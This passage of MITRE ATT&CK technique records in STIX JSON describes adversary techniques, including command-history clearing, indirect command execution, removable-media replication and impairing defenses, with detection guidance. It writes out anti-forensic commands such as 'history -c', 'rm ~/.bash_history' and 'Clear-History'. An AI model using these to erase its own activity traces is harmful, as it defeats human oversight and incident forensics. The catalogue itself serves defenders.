of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-02-14T20:07:44.756Z", "name": "Clear Command History", "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Vikas Singh, Sophos", "Emile Kenning, Sophos", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Process: Process Creation", "File: File Deletion", "File: File Modification", "Command: Command Execution", "User Account: User Account Authentication"], "x_mitre_defense_bypassed": ["Host forensic analysis", "Log analysis"], "type": "attack-pattern", "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "created": "2020-01-31T12:32:08.228Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/003", "external_id": "T1070.003"}, {"source_name": "Sophos PowerShell command audit", "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"}, {"source_name": "Microsoft PowerShell Command History", "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}, {"source_name": "Sophos PowerShell Command History Forensics", "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.", "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1202", "url": "https://attack.mitre.org/techniques/T1202"}, {"source_name": "Evi1cg Forfiles Nov 2017", "url": "https://twitter.com/Evi1cg/status/935027922397573120", "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018."}, {"source_name": "RSA Forfiles Aug 2017", "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe", "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018."}, {"source_name": "VectorSec ForFiles Aug 2017", "url": "https://twitter.com/vector_sec/status/896049052642533376", "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", "modified": "2022-05-05T05:06:38.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Indirect Command Execution", "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Static File Analysis", "Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", "type": "attack-pattern", "created": "2017-05-31T21:30:31.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1024", "url": "https://attack.mitre.org/techniques/T1024"}, {"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", "source_name": "F-Secure Cosmicduke"}, {"url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", "source_name": "Fidelis DarkComet"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2021-07-20T21:57:36.046Z", "name": "Custom Cryptographic Protocol", "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Netskope"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", "type": "attack-pattern", "created": "2019-09-04T14:37:07.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"external_id": "T1536", "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1536"}, {"source_name": "Tech Republic - Restore AWS Snapshots", "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."}, {"source_name": "Google - Restore Cloud Snapshot", "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}], "modified": "2021-03-08T10:33:01.527Z", "name": "Revert Cloud Instance", "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2023-10-17T20:42:21.453Z", "name": "Replication Through Removable Media", "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Joas Antonio dos Santos, @C0d3Cr4zy"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Access", "Process: Process Creation", "Drive: Drive Creation", "File: File Creation"], "x_mitre_system_requirements": ["Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"], "type": "attack-pattern", "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "created": "2017-05-31T21:31:08.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1091", "external_id": "T1091"}, {"source_name": "Windows Malware Infecting Android", "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.", "url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"}, {"source_name": "iPhone Charging Cable Hack", "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.", "url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"}, {"source_name": "Exploiting Smartphone USB ", "description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.", "url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T23:54:39.466Z", "name": "Data from Local System", "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["William Cain", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Process: OS API Execution", "Script: Script Execution", "Command: Command Execution", "Process: Process Creation", "File: File Access"], "x_mitre_system_requirements": ["Privileges to access certain files and directories"], "type": "attack-pattern", "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "created": "2017-05-31T21:30:20.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1005", "external_id": "T1005"}, {"source_name": "show_run_config_cmd_cisco", "description": "Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733"}, {"source_name": "Mandiant APT41 Global Intrusion ", "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.", "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T19:28:18.334Z", "name": "Deobfuscate/Decode Files or Information", "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Matthew Demaske, Adaptforward", "Red Canary"], "x_mitre_deprecated": false, "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Script: Script Execution", "File: File Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Host Intrusion Prevention Systems", "Signature-based Detection", "Network Intrusion Detection System"], "type": "attack-pattern", "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1140", "external_id": "T1140"}, {"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}, {"source_name": "Malwarebytes Targeted Attack against Saudi Arabia", "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"}, {"source_name": "Carbon Black Obfuscation Sept 2016", "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Microsoft Security"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", "type": "attack-pattern", "created": "2019-11-07T20:00:25.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1137.005", "url": "https://attack.mitre.org/techniques/T1137/005"}, {"source_name": "SilentBreak Outlook Rules", "url": "https://silentbreaksecurity.com/malicious-outlook-rules/", "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019."}, {"source_name": "Microsoft Detect Outlook Forms", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}, {"source_name": "Pfammatter - Hidden Inbox Rules", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."}, {"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "modified": "2021-10-15T20:18:30.700Z", "name": "Outlook Rules", "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Application Log: Application Log Content", "Command: Command Execution"], "x_mitre_permissions_required": ["Administrator", "User"]}, {"modified": "2023-10-20T16:43:53.391Z", "name": "Impair Defenses", "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Office 365", "IaaS", "Linux", "macOS", "Containers", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["File: File Modification", "Cloud Service: Cloud Service Disable", "Firewall: Firewall Rule Modification", "Command: Command Execution", "Script: Script Execution", "Process: Process Modification", "Windows Registry: Windows Registry Key Deletion", "Process: Process Termination", "Service: Service Metadata", "Cloud Service: Cloud Service Modification", "User Account: User Account Modification", "File: File Deletion", "Sensor Health: Host Status", "Process: OS API Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Driver: Driver Load", "Firewall: Firewall Disable"], "x_mitre_defense_bypassed": ["Anti-virus", "Signature-based detection", "Host intrusion prevention systems", "File monitoring", "Digital Certificate Validation", "Host forensic analysis", "Log analysis", "Firewall"], "type": "attack-pattern", "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "created": "2020-02-21T20:22:13.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562", "external_id": "T1562"}, {"source_name": "Emotet shutdown", "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.", "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T14:21:57.991Z", "name": "Cloud Accounts", "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", "kill_chain_phases": [{"kill_chain_name": 